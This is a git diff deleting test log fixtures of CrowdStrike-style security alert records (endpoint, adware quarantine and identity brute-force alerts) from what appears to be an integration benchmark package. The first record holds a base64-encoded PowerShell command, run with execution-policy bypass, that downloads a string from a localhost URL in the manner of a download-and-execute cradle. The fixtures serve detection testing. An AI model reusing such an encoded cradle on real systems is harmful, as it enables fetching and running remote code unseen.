-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
-{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
deleted file mode 100644
index c0e095d6dd..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
+++ /dev/null
@@ -1,10 +0,0 @@
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"}
-{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N